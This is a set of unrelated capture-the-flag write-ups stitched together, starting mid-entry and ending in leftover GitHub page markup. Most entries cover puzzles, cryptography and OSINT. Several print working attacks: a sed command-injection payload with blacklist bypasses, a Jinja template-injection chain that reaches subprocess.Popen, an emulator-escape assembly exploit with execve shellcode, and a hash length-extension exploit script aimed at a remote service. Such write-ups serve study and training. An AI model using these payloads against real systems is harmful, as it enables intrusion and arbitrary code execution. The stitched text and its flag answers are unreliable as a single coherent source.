Docker container will never named `boring_wozniak`, because of the logic (line 844 to 846) in file [names-generator.go](https://github.com/moby/moby/blob/c90254c7464cac5c56e7ab9e6b1857c119d5d263/pkg/namesgenerator/names-generator.go) from the source code
### Task 6 - There might be more cake (50 points)
They ate then cake and left a note with a secret algorithm to unlock the cake treasury. We saw it happening at exactly January 1, 2030 11:23:45 AM... are you the visionary that can figure out the PIN code?
__Given__ the PIN generation algorithm :
```cint generatePin() { srand(time(0)); return rand();}```
and also the required timezone be __UTC__
By adjusting the seeding long integer to `UTC +0:00` (check [here](https://www.epochconverter.com/timezones)), you should be able to get the correct PIN (see `task6.c` on original writeup for more information)
### Task 7 - Stars in space (30 points)
The treasury consists of cake hidden on stars in space.
__Given__ :
```text* **** * * * *** *** ** * * * **** * ** * ** *** ** *** ** * * * ** * * * ** * * ** * * ** * ***** **** * *** * ** * * * ```
__Decoded__ 1 (Substitution : * = 0, and ' ' = 1) :
```text0100001101010100010001100111101101101000011010010110010001100100011001010110111001011111011010010110111001011111011100110111000001100001011000110110010101111101```
__Decoded__ 2 (8-bit binary with no delimiter) :
```textCTF{hidden_in_space}```
## Flags
1. ctf{You_found_the_rot}2. ctf{The_one_true_salad}3. ctf{I_like_the_buttery_biscuit_base}4. CTF:SPACEDASH20215. ctf{boring_wozniak}6. 13762997617. CTF{hidden_in_space}
## References
- [Cyberchef](https://gchq.github.io/CyberChef/) [Task 1,3,4,7]- [Caesar Cipher Brute-Force Decoder](https://www.dcode.fr/caesar-cipher) [Task 2]- [Why boring wozniak will never be generated as a container name in docker](https://medium.com/peptr/why-boring-wozniak-will-never-be-generated-as-a-container-name-in-docker-763b755f9e2a) [Task 5]- [EPOCH timezone checker](https://www.epochconverter.com/timezones) [Task 6]- [About time_t struct in C](https://en.cppreference.com/w/c/chrono/time_t) [Task 6]- [About timegm function in C](https://www.man7.org/linux/man-pages/man3/timegm.3.html) [Task 6] |
# Solution for Imaginary CTF 2021 Challenge "Normal"Category: Reverse Engineering## Challenge Description Norse senor snorts spores, abhors non-nors, adores s'mores, and snores.### Provided Verilog Code```module normal(out, in); output [255:0] out; input [255:0] in; wire [255:0] w1, w2, w3, w4, w5, w6, w7, w8;
wire [255:0] c1, c2; assign c1 = 256'h44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3; assign c2 = 256'hd208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21; nor n1 [255:0] (w1, in, c1); nor n2 [255:0] (w2, in, w1); nor n3 [255:0] (w3, c1, w1); nor n4 [255:0] (w4, w2, w3); nor n5 [255:0] (w5, w4, w4); nor n6 [255:0] (w6, w5, c2); nor n7 [255:0] (w7, w5, w6); nor n8 [255:0] (w8, c2, w6); nor n9 [255:0] (out, w7, w8);endmodule
module main; wire [255:0] flag = 256'h696374667b00000000000000000000000000000000000000000000000000007d; wire [255:0] wrong;
normal flagchecker(wrong, flag);
initial begin #10; if (wrong) begin $display("Incorrect flag..."); $finish; end $display("Correct!"); endendmodule```## SolutionThe challenge is written in the Verilog hardware description language. It also gave us a Makefile for the "iverilog" compiler, and the "vvp" command is the simulation runtime engine. The provided Verilog code already compiles and runs fine:```fm@nuc7vm2004:/mnt/hgfs/fpga/projects/icebreaker/fm4dd/normal$ makeiverilog -o normal.vvp -s main normal.vvvp normal.vvpIncorrect flag...```This needs only minor modifications:1. The ```if (wrong) begin``` condition triggers because the output of module 'normal' is non-zero (true). We remove it.2. The wire definitions look suspiciously like 32-character definitions. Let's use $display to show the content of 'wrong', and 'flag'```vi normal.v...module main;... initial begin #10; $display("%s", flag); $display("%s", wrong); endendmodule```The Verilog $display task creates debug output, and has format modifiers similar to 'printf' - nifty!```fm@nuc7vm2004:/mnt/hgfs/fpga/projects/icebreaker/fm4dd/normal$ makeiverilog -o normal.vvp -s main normal.vvvp normal.vvpictf{ } A11_ha!1_th3_n3w_n0rm_n0r!```Now that looks already like a flag, doesn't it? 3. Just for perfection, lets combine the two strings 'wrong' and 'flag' for a single flag line. Creating the 'out' wire, and OR the values:```vi normal.v...module main;... wire [255:0] out; assign out = flag | wrong;.. initial begin #10; $display("%s", out); endendmodule```### Final Code```module normal(out, in); output [255:0] out; input [255:0] in; wire [255:0] w1, w2, w3, w4, w5, w6, w7, w8;
wire [255:0] c1, c2; assign c1 = 256'h44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3; assign c2 = 256'hd208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21; nor n1 [255:0] (w1, in, c1); nor n2 [255:0] (w2, in, w1); nor n3 [255:0] (w3, c1, w1); nor n4 [255:0] (w4, w2, w3); nor n5 [255:0] (w5, w4, w4); nor n6 [255:0] (w6, w5, c2); nor n7 [255:0] (w7, w5, w6); nor n8 [255:0] (w8, c2, w6); nor n9 [255:0] (out, w7, w8);endmodule
module main; wire [255:0] flag = 256'h696374667b00000000000000000000000000000000000000000000000000007d; wire [255:0] wrong; wire [255:0] out; assign out = flag | wrong;
normal flagchecker(wrong, flag);
initial begin #10; $display("%s", out); endendmodule```
And here we go:```fm@nuc7vm2004:/mnt/hgfs/fpga/projects/icebreaker/fm4dd/normal$ makeiverilog -o normal.vvp -s main normal.vvvp normal.vvpictf{A11_ha!1_th3_n3w_n0rm_n0r!}```
Bonus: Showing the wire signals in GTKWave
P.S. 2nd Bonus - write the code to the FPGA and output the flag on a LCD display... |
**Full write-up:** https://www.sebven.com/ctf/2021/07/29/ImaginaryCTF2021-ZKPoD.html
Crypto – 400 pts (19 solves) – Chall author: Robin_Jadoul
Sending a cipher text to the server returns a flawed ‘Zero Knowledge Proof of Decryption’. This ZKPoD protocol however leaks the parity of the decrypted cipher text, allowing us to abuse the server as a LSB oracle. Using a rather straightforward attack we can recover the decrypted flag in O(2\*2log(n)) (~4096) server calls. Lucky for us, plumbers are typically slow to arrive ;). |
# No Thoughts, Head Empty# Fewer Thoughts, Head EmptierBoth challenges are quite similar, so I only write a single writeup for them.
## Understanding the basicsIn both cases, we have a single brainfuck file. (I recommend to __not__ run it with the interpreter given in the description, but I found an interpreter / visualizer that is safer to use: [BF Visualizer](https://fatiherikli.github.io/brainfuck-visualizer/). Let's put the first program into it and watch it (Check the *Optimize* box and reduce the delay for a deccent speed). The program will eventually crash because of the limited tape, but looking at the values, they look like ASCII values:So, there is the flag, but it is truncated in the end. We could modify the sourcecode for a wider tape, or we look into the source code (which we'll need for the second challenge anyway.) I structured the code to be more readable: Before and after `[]` is a newline, so loops are in a line by themselfs. The beginning constists of blocks of this form:```>>+++++++++++[<+++++++++++>-]--[<-------->+]```What is happening here? The first two lines:```We increment a cell X = 11 timesWe have a small loop that: Goes to the left, increment by Y = 11, go right, decrement by 1. Repeat```This is a multiplication `X * Y`: The left cell used as the result starting with 0, the right cell is the loop counter starting with `Y` (set in the first line). For each iteration, the left cell is incremented by `X`, and this is done `Y` times, so `X*Y`.The lines 3 and 4 are basically the same, but instead of adding it to the left cell, it subtracts. So, this whole block computes:`cell = X * Y - A * B`, where the 4 variables can be determined by the number of `+` or `-` in the four lines. In our example: `cell = 11 * 11 - 2 * 8 = 105 = ascii('i')`For the first challenge, I appended to every block `<.>` which prints the value we just built and removed the first few blocks of code for the remaining part of the flag to fit into memory. This solves `No Thoughts, Head Empty`.
But for the second challenge, it is more complicated. The description suggests that we have a similar challenge and looking at the source, we can identify the same 4-line blocks of code, but the numbers are larger. This stops us from running it: It is very slow and the numbers are not ascii values anymore. At this point, I wrote a small function to parse and print the values:```pythondef get_num(ls): # takes 4 lines as strings pms = [0] * 4 for i in range(4): # count the number of plus and minus for each line pms[i] = (ls[i].count('+'), ls[i].count('-')) # Some lines add, some lines substract. # With max(), I get the number, no matter which of the two options is used, # because the loop counter always only appears once val = max(pms[0]) * max(pms[1]) # this is X*Y mul = 1 if ls[3][2] == '-': # detect if we add or subtract the second part mul = -1 val += mul * max(pms[2]) * max(pms[3]) # this is A*B return val```Note that this fails for the easier challenge because there were some blocks with only two lines.## Reversing BrainfuckNow, we get the numbers: `105 5664 5066 6888 5376 7742`. The first one is `i`, but the others are too large for ASCII. Now, I went onto reversing the tail part of the Brainfuck Code. I did this using a sheet of paper and stepping the online interpreter to visualize as much as possible what is happening. I start by picking out some important parts (and added line numbers for the explanation). `(H) marks the position of the head, _ a value not relevant for the current aspect`#### The Doubler```1 [->+>++<<] # This is a loop that transforms: X 0 0 into 0 X 2*X2 >>3 [-<<+>>] # This loop moves a value two cells to the left: 0 _ X to X _ 0# Together, they change X(H) 0 0 to 2*X X 0(H)```Followed by some moving stuff we look at later, follwed by a loop doing the important stuff:```1 [<2 [->>-<<] # A _ B to 0 _ B-A3 >-4 [-<+<+>>]<<[->>+<<] # similar to 3-5: transform 0 0 X to 0 X 2*X5 >>] # from X Y(HEAD) Z, to 0 Y Z-X, to 0 Y-1 Z-X, to Y 2*(Y-1) Z-X6 >>7 [>]8 >-]```
#### The Gauss Subtraction```1 [<2 [->>-<<]3 >-4 [-<+<+>>]5 <<6 [->>+<<]7 >>]``````(0) initial setup v (the Head)0 X X D E (when the loop runs, both X have the same value)--------------(1) go left v0 X X D E--------------(2) subtraction v0 0 X D-X E--------------(3) go right, decrement v0 0 X-1 D-X E--------------(4) double vX-1 X-1 0 D-X E--------------(4) left, copy, right v0 X-1 X-1 D-X E```We are back at the initial state with a two differences:D was decremented by X, X got reduced by 1 (in both positions). As this happens inside a loop, we continue substracting X-1 from D-X and reduce X-1 to X-2 and so forth. In The end, we subtracted all numbers between X and 1 from D. The sum of values between 1 and X is `(X + 1) * X / 2` (Gauss Sum), so D is reduced by this value in total. #### The repeating Printer```<[[<]<[<]> # go to the leftmost non-zero cell (a bit complicated, because it needs to skip a zero cell in the middle). # print it[>]>[>]< # go to the rightmost on-zero cell-] # decrement and repeat```So, this function prints left leftmost most as many times as the rightmost cell indicates
#### The big loopPutting our snippets together with some *glue* code, the big loop in the end reads as this (Note that there is a 0 between `B` and `K`. `B` is a normal character, and `K` is the number of characters in the flag. It is set similar to all other values, but there is an additional `>` beforehead to create the zero space.). In this case, it is assumed the flag only has two characters `A` and `B`.```Setup 0 0 A B 0 K(H) X 0 0The Doubler 0 0 A B 0 K 2X X 0(H)The repeating Printer 0 0 A B 0 K 2X 0(H) 0Move to the far left 0 0 A(H) B 0 K 2X 0 0Duplicate the value 0 A A(H) B 0 K 2X 0 0The Gauss Subtraction 0 0 0(H) B-Gauss(A) 0 K 2X 0 0Go right, decrement and Repeat 0 0 0(H) B-Gauss(A) 0 K-1(H) 2X 0 0```So, basically, we have a value `X` starting with 1 (directly before the big loop begins). We double `X`, print the current character `X` times, decrement the value of the second character by the gauss sum of the first character and go back to repeat by doubling `X`. This prints the first character once, the second character twice, the thid character 4 times and and so forth.
## The Script```pythonimport sys
def get_num(ls): pms = [0] * 4 for i in range(4): pms[i] = (ls[i].count('+'), ls[i].count('-')) val = max(pms[0]) * max(pms[1]) mul = 1 if ls[3][2] == '-': mul = -1 val += mul * max(pms[2]) * max(pms[3]) return val
def gauss(x): return (x+1) * x // 2
bf = open(sys.argv[1]).readlines() # open the (formatted! file)ls = [x.strip() for x in bf[:128]] # take all characters (the value 124 is taken by looking at the source)ls = [get_num(ls[i:i+4]) for i in range(0, len(ls), 4)] # compute all valuesfor i in range(1, len(ls)): # apply the gaussian subtraction ls[i] = ls[i] - gauss(ls[i-1])print("".join(map(chr, ls)))```The flag: `ictf{th3_l3s5_th0ugh+_+he_b3teR}` |
[Original Writeup](https://quiver-bramble-9a4.notion.site/Dreams-3871ec92283f4060a8b88ca66e056fe8http://): (https://quiver-bramble-9a4.notion.site/Dreams-3871ec92283f4060a8b88ca66e056fe8) |
This challenge is command injection challenge with too many filters :).
Challenge description---
Challenge url--
Looking at the source code, you can see our payload is in sed command. Since these characters `; | &` are banned, we can't execute two command. So we have to perform our injection in sed command. We can't also use these characters ("$" and backtick ). After googling awhile, I found that we can also run command as `((command))`. We can use `/e` modifier to excute our command. So the paylaod begin `"s/Lorem/((whoami))/e"`. But our command didn't execute.
After testing in local, I found that we need to replace all characters in the file with our command. So our payload become `"s/.*/((whoami))/e"`.
Boom! Our command is now executed. Let's read the flag file. We can bypass `cat & flag` in blacklist with single quote like `c'a't & f'l'ag`. Our final payload become `"s/.*/((c'a't f'l'ag.txt))/e"`.
Flag: `ictf{:roocu:roocu:roocu:roocu:roocu:roocursion:rsion:rsion:rsion:rsion:rsion:_473fc2d1}`
Thank you for reading. Hope you enjoy this. :cowboy_hat_face: :cowboy_hat_face:
|
# Tiny ECC - cryptoCTF2021
- Category: Crypto- Points: 217- Solves: 16- Solved by: drw0if - Crypt3dData
## Description
Being Smart will mean completely different if you can use special numbers!
`nc 01.cr.yp.toc.tf 29010`
## Solution
The challenge comes with two files:- mini_ecdsa.py: a file with a lot of code useful to deal with elliptic curve cryptography- tiny_ecc.py: the actual challenge file
The service asks us for a prime `p` and the two coefficients of the elliptic curve in Weierstrass form (`y^2 = x^3 + ax + b`).Then we can solve the actual challenge: solve the discrete logarithm problem over two elliptic curve.
### Prime numberThe prime number we give to the prompt must satisfy some conditions:```pythonisPrime(p) and p.bit_length() == nbit and isPrime(2*p + 1)```so the prime must be prime (lol), it has to be a 128 bit prime and `2*p + 1` have to be prime too.These two numbers are then used as modulo for the two elliptic curves.
### ParametersThe parameters we give to the challenge have to satisfy only one condition:```pythona * b != 0```
That means we can use virtually every value as long as it's not `explicitly` 0.
### Curve forgingAs we learnt we can forge almost che curve we want since we can choose both the field and the parameters.
What if we forge `y^2 = x^3`?As it turns out if we reach a curve of that type the discrete logarithm become an easy problem!
To forge that curve we have to pass `(a,b) == (0,0)` but we can't send 0... we can send `(a,b)==(p,p)` because for the modulo reduction `p` is congruent to `0` but for the second curve it doesn't apply as well.In the end we can send `(a,b) = (p*(2*p+1),p*(2*p+1))` so that the modulo reduction applies equally to the first and the second curve and we reach two curves of the type `y^2 = x^3`.
### Deal with singular curveWe reached a `singular curve` because the discriminant of the curve is 0. To solve the DLP we need to map the point of the curve to an additive group over the same field of the curve.
The map associated to `y^2 = x^3` is `(x,y) -> x/y`.
Then the DLP problem can be solved with a simple modulo division (multiple for the inverse): `Q = kP -> k = map(Q)/map(P)`
```CCTF{ECC_With_Special_Prime5}```
For additional details:[Singular from Nullcon writeup](https://gitlab.com/n0tsobad/ctf-writeups/tree/master/2019-02-01-nullcon/Singular) |
```assembly;; General idea:;; Code execution:;; We abuse the fact that we can use MAP_FIXED to replace host pages.;; We replace the third page of the "x64-emulator" ELF with our own anonymous RWX mapping.;; ASLR Bypass:;; We find the x64-emulator base address by brute-force:;; The emulator mmap will fail if not mapped exactly at hint.;; So we can "check" for existence of pages.;; We will scan the memory under the assumption that the lowest-address;; allocated page is the base of our binarymain: mov rbx, 0x555000000000 ; search base mov rcx, 0x100000000 ; search size
aslr_bypass_main_loop: ; Try to mmap area xor r9d, r9d ; offset = 0 (ignored) mov r8d, -1 ; fd = -1 (ignored) mov r10d, 0x22 ; MAP_ANONYMOUS | MAP_PRIVATE mov edx, 3 ; RWX mov rsi, rcx ; search size mov rdi, rbx ; area we're searching for mov eax, 9 ; mmap syscall syscall ; If we failed - this page is mapped! This is the base. ; We store it in rbx and move on to exploitation cmp rax, -1 je aslr_bypass_guess_next_nibble ; If we succeeded - we munmap the area and go on another iteration mov rsi, rcx mov rdi, rbx mov eax, 11 syscall
; Check next page add rbx, rcx jmp aslr_bypass_main_loop
; We guessted correctly the nibble - guess the next nibble / finishaslr_bypass_guess_next_nibble: ; If we guessed page-size granularity - we found the base in rbx cmp rcx, 0x1000 je replace_page_to_execute_code_in_host
; Otherwise - we want to guess next nibble. ; So divide in 16 (shift-right 4 bits) the rcx (search size) sar rcx, 4 jmp aslr_bypass_main_loop
replace_page_to_execute_code_in_host: ; mmap page from the binary xor r9d, r9d ; offset = 0 (ignored) mov r8d, -1 ; fd = -1 (ignored) mov r10d, 0x32 ; MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED mov edx, 7 ; RWX mov esi, 0x1000 ; PAGE_SIZE ; binary base + 0x2000 add rbx, 0x2000 mov rdi, rbx mov eax, 9 ; mmap syscall syscall
; copy data to the mmap-ed page ; "_ZSt3hexRSt8ios_base" starts at offset "0x2124" from binary base ; (hence +0x124 from the page base) mov rsi, execve_shellcode add rbx, 0x124 mov rdi, rbx mov ecx, 27 rep movsb
; exit(1) ; This will trigger a call to "_ZSt3hexRSt8ios_base" mov edi, 1 mov eax, 60 syscall
; 27 bytesexecve_shellcode: db 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05
``` |
A compression oracle attack can be used to recover content of the storage.
[Full writeup](https://www.proggen.org/doku.php?id=security:ctf:writeup:google:2021:filestore) |
# TaskSalt and Pepper, Salty and Spicy! Can we attack these unnormalized served foods?
nc 02.cr.yp.toc.tf 28010 Source code is provided:
```#!/usr/bin/env python3
from hashlib import md5, sha1import sysfrom secret import salt, pepperfrom flag import flag
assert len(salt) == len(pepper) == 19assert md5(salt).hexdigest() == '5f72c4360a2287bc269e0ccba6fc24ba'assert sha1(pepper).hexdigest() == '3e0d000a4b0bd712999d730bc331f400221008e0'
def auth_check(salt, pepper, username, password, h): return sha1(pepper + password + md5(salt + username).hexdigest().encode('utf-8')).hexdigest() == h
def die(*args): pr(*args) quit()
def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush()
def sc(): return sys.stdin.readline().strip()
def main(): border = "+" pr(border*72) pr(border, " welcome to hash killers battle, your mission is to login into the ", border) pr(border, " ultra secure authentication server with provided information!! ", border) pr(border*72)
USERNAME = b'n3T4Dm1n' PASSWORD = b'P4s5W0rd'
while True: pr("| Options: \n|\t[L]ogin to server \n|\t[Q]uit") ans = sc().lower() if ans == 'l': pr('| send your username, password as hex string separated with comma: ') inp = sc() try: inp_username, inp_password = [bytes.fromhex(s) for s in inp.split(',')] except: die('| your input is not valid, bye!!') pr('| send your authentication hash: ') inp_hash = sc() if USERNAME in inp_username and PASSWORD in inp_password: if auth_check(salt, pepper, inp_username, inp_password, inp_hash): die(f'| Congrats, you are master in hash killing, and it is the flag: {flag}') else: die('| your credential is not valid, Bye!!!') else: die('| Kidding me?! Bye!!!') elif ans == 'q': die("Quitting ...") else: die("Bye ...")
if __name__ == '__main__': main()```
# AnalysisTo get the flag, we need a successful login into the server.
We have to provide three parameters:
- username, which must contain the string "n3T4Dm1n", without double quotes;- password, which must contain the string "P4s5W0rd", without double quotes;- hash, which is used to make the authentication check in the following way: + sha1(pepper + password + md5(salt + username).hexdigest().encode('utf-8')).hexdigest() == hash + So it's clear that the 'hash' parameter must be an hex-encoded sha-1. To summarize: we need to provide constrained username and password and unconstrained hash, such that the "signature" is valid.
The problem is that we don't know salt and pepper, which are the secrets for the signature: in fact this is a "baby HMAC". But if we look at the first lines of the source code, we see that we are provided with:
- length of both salt and pepper;- MD5(salt);- SHA1(pepper).
Having MD5(salt) is equal to having a signature made with the salt for an empty message, and the same holds for SHA1(pepper).
Making some research about attacks against cryptographic hash functions, we found that what we were looking for was an hash length extension attack.
We found an implementation, along with a detailed explanation, [here](https://github.com/iagox86/hash_extender).
# ExploitIn these cases it's useful to modify the challenge source code to make some local tests first.
We modify the first lines like that:
```from hashlib import md5, sha1import sys# from secret import salt, pepper# from flag import flagsalt = b"A" * 19pepper = b"B" * 19flag = "CCTF{lets_make_local_t3sts}"
assert len(salt) == len(pepper) == 19# assert md5(salt).hexdigest() == '5f72c4360a2287bc269e0ccba6fc24ba'assert md5(salt).hexdigest() == '7ae4d6728e33ff002bf67a2e5194ccb1'# assert sha1(pepper).hexdigest() == '3e0d000a4b0bd712999d730bc331f400221008e0'assert sha1(pepper).hexdigest() == '8923ecf3550e9ca6cbb26066590fb619a2d65e71' ```
At this point, we play a little bit with hash_extender from command line to see how it works, and to check if we can forge valid signatures, with some known secrets.
After that we write an exploit which can work both locally and remotely:
- the first call to hash_extender is to generate a valid MD5 signature with the username; we take from the output the generated signature and the generated username, which contains a certain number of bytes used to perform the attack and the actual username that we desired to append;- the second call to hash_extender is to generate the final SHA1 signature, which must contain the password and the MD5 signature hex-encoded; from the output we take the generated signature and password.
In both cases, the 'data' (-d) parameter is empty because we have the hashes of salt and pepper, which are like signatures for empty messages, like we said before.
Now we're ready to present the exploit:
```from pwn import remote, processimport subprocessimport re
def main(): local = False username = 'n3T4Dm1n' password = 'P4s5W0rd' if local: md5_salt = '7ae4d6728e33ff002bf67a2e5194ccb1' sha1_pepper = '8923ecf3550e9ca6cbb26066590fb619a2d65e71' else: md5_salt = '5f72c4360a2287bc269e0ccba6fc24ba' sha1_pepper = '3e0d000a4b0bd712999d730bc331f400221008e0'
result = subprocess.check_output(["./hash_extender", "-f", "md5", "-d", "", "-s", md5_salt, "-a", username, "-l", "19"]).decode() new_signature, new_username = re.findall(r"[a-fA-F0-9]{4,}", result) # hex-encoded result = subprocess.check_output(["./hash_extender", "-f", "sha1", "-d", "", "-s", sha1_pepper, "-a", password + new_signature, "-l", "19"]).decode() final_signature, new_password = re.findall(r"[a-fA-F0-9]{4,}", result) # hex-encoded new_password = new_password[:-64]
print("intermediate signature =", new_signature) print("final signature =", final_signature) print("username =", new_username) print("password =", new_password)
if local: r = process(["python", "salt_pepper.py"]) else: r = remote("02.cr.yp.toc.tf", 28010) r.recvuntil(b'uit') r.recvline() r.sendline(b'L') r.recvuntil(b'comma:') r.recvline() r.sendline(",".join([new_username, new_password]).encode()) r.recvuntil(b'hash:') r.recvline() r.sendline(final_signature.encode()) r.interactive()
if __name__ == "__main__": main()
```
CCTF{Hunters_Killed_82%_More_Wolves_Than_Quota_Allowed_in_Wisconsin} |
### TL;DRSearch 'unpuzzler7' in google.You will find [giter account](https://giters.com/swagkarna?tab=following&=1) in google results. Next,there is a repo called [cyberpatriot-stuff](https://giters.com/realunpuzzler7?amp=1) at that account. In that repo there are a lot of texts under the title 'cyberpatriot-resources' .Read closely and you will find a gmail address at
``` if anyone is orz at pwn please send me an email at [email protected]```
And send whatever you want to that address and it will reply with a mail containing a flag
-----
flag ```ictf{1_h0p3_y0u_d1dnt_d0x_y0urs3lf_92bc1032}``` |
To decrypt RSA you need P and Q. By decomposing N you can find those numbers. https://www.dcode.fr/prime-factors-decomposition.With those numbers and this website https://www.dcode.fr/rsa-cipher you can decode the ciphertext
If you liked this writeup do not hesite to star our repo https://github.com/PoCInnovation/ReblochonWriteups |
This is a *template injection* challenge.
Challenge description--
Challenge url--
According to the source code, our payload is rendered as template. Let's test with basic payload `{{7*7}}`. It returns 49.
There is also some filters. Since `las,bas,bal` are banned, we can't use `class,base,global`. We can bypass this with `attr()`. Let's check the subclasses `{{()|attr('__\x63\x6c\x61\x73\x73__')|attr('__\x62\x61\x73\x65__')|attr('__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__')()}}`.
I found the index of `<class 'subprocess.Popen'>` at 360. Our final payload -> `{{()|attr('__\x63\x6c\x61\x73\x73__')|attr('__\x62\x61\x73\x65__')|attr('__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__')()|attr('__getitem__')(360)("cat flag.txt",shell=True,stdout=-1)|attr('communicate')()}}`.
Flag: `ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}`
Thank you for reading! :cowboy_hat_face: :cowboy_hat_face:
|
**Full write-up:** https://www.sebven.com/ctf/2021/07/30/ImaginaryCTF2021-Password-Checker.html
Web – 450 pts (15 solves) – Chall author: Zyphen
An online ‘password checker’ with some (regex) obfuscated verification function. Running it through any online deobfuscator reveals the internal structure of the code. Some additional cleaning allows us to recover the restrictions on the input for us to get the flag. I chose to opt for brute-force (I like it rough) and to abuse the most ingenious invention of humankind, language. |
## **Where is this?**
**Description:**
Thehackerscrew have sent this image. Can you find where this is?
Flag format: RTL{latitude_longitude} Round latitude and longitude to 3 decimal places. (Decimal degrees)
Author: RJCyber
-----
We are given this image but we can’t read the signs because of the quality.
So I’ve edited the image so that I could read at least one of them and this is what I got:
We can read “Zum Padd” but then we can’t read the rest clearly.
But that’s okay… I searched for “Zum Padd” on Google Maps, I clicked the first result that came up (*which is Zum Paddenwirt, Nikolaikirchplatz 6, 10178 Berlin, Germany*), I used Street View and I found the same place but the coordinates weren’t correct.
After looking around for a while I found out that I had to click on the parking lot.
### **Flag: RTL{52.516_13.408}** |
# Labyrinth
* Category: Dev* 150 points* Solved by JCTF Team
## Description
Given a remote server address
## Solution
As you can guess, it is a development challenge.In this challenge we get five links for images of [Where's Wally?](https://en.wikipedia.org/wiki/Where%27s_Wally%3F) and should reply with the coordinates of wally in the image within seconds.Obviously we don't have time to find him by eyes, so let's throw ML on him!LMGTFY - we found [HereIsWally](https://github.com/tadejmagajna/HereIsWally) on GitHub.After some configuration and downloads, we managed to run [find_wally.py](https://github.com/tadejmagajna/HereIsWally/blob/master/find_wally.py) on one of the images and get the corret coordiates of Wally. Good work tadejmagajna!
Now we just had to add a little automation to get the images, run the detection function, normalize the coordinates and convert them to int, and send them back to the server.This is the full script:
```pythonimport numpy as npimport sysimport tensorflow as tffrom PIL import Imagefrom object_detection.utils import label_map_utilfrom object_detection.utils import visualization_utils as vis_util
model_path = './trained_model/frozen_inference_graph.pb'
from pwn import *import requests # to get image from the webimport shutil # to save it locally
conn = remote('labyrinth.ctf.bsidestlv.com',5000)for i in range(5): conn.recvuntil('https', drop=True) image_url = 'https'+conn.recvuntil('jpg') image_path = image_url.split("/")[-1] print(image_path) r = requests.get(image_url, stream = True)
# Check if the image was retrieved successfully if r.status_code == 200: # Set decode_content value to True, otherwise the downloaded image file's size will be zero. r.raw.decode_content = True
# Open a local file with wb ( write binary ) permission. with open(image_path,'wb') as f: shutil.copyfileobj(r.raw, f)
print('Image sucessfully Downloaded: ',image_path) else: print('Image Couldn\'t be retreived')
detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(model_path, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='')
def load_image_into_numpy_array(image): (im_width, im_height) = image.size return np.array(image.getdata()).reshape( (im_height, im_width, 3)).astype(np.uint8)
label_map = label_map_util.load_labelmap('./trained_model/labels.txt') categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=1, use_display_name=True) category_index = label_map_util.create_category_index(categories)
with detection_graph.as_default(): with tf.Session(graph=detection_graph) as sess: image_np = load_image_into_numpy_array(Image.open(image_path)) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') boxes = detection_graph.get_tensor_by_name('detection_boxes:0') scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: np.expand_dims(image_np, axis=0)})
if scores[0][0] < 0.1: sys.exit('Wally not found :(')
width, height = Image.open(image_path).size print('Wally found') vis_util.visualize_boxes_and_labels_on_image_array( image_np, np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores), category_index, use_normalized_coordinates=True, line_thickness=8) resp = '{},{}'.format(int(round(np.squeeze(boxes)[0][1]*width)), int(round(np.squeeze(boxes)[0][0]*height)))
print(conn.recvline()) conn.sendline(bytearray(resp, 'utf8'))print(conn.recvrepeat(timeout=2))```After five images we got:
flag: **BSidesTLV2021{Here_1s_wally_lets_throw_ML_on_him}**
#### P.S.It was also possible to solve it manually. We know of another team who downloaded all the images, and solved them "by hand" (well, by eye). |
# Ciphers Galore!
Challenge [Link](https://hastebin.com/ajabitobet.rb)
```$&Es6a@I+v5;|`h_$)q?2Kq75w=p|%tK+)8K)K}d!b_l```
The flag is encoded 3 times!
`ROT 47 > Base64 > ROT 9`
``` RTL{s1mpl3_cRypt0_ch@113ng3_3h?} ``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>gets<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>gets<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/LexMACS/LIT-CTF-2021/tree-commit/998a37dc3b4388f7c3b8b68477b6b39bdcec1c62/pwn/gets" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 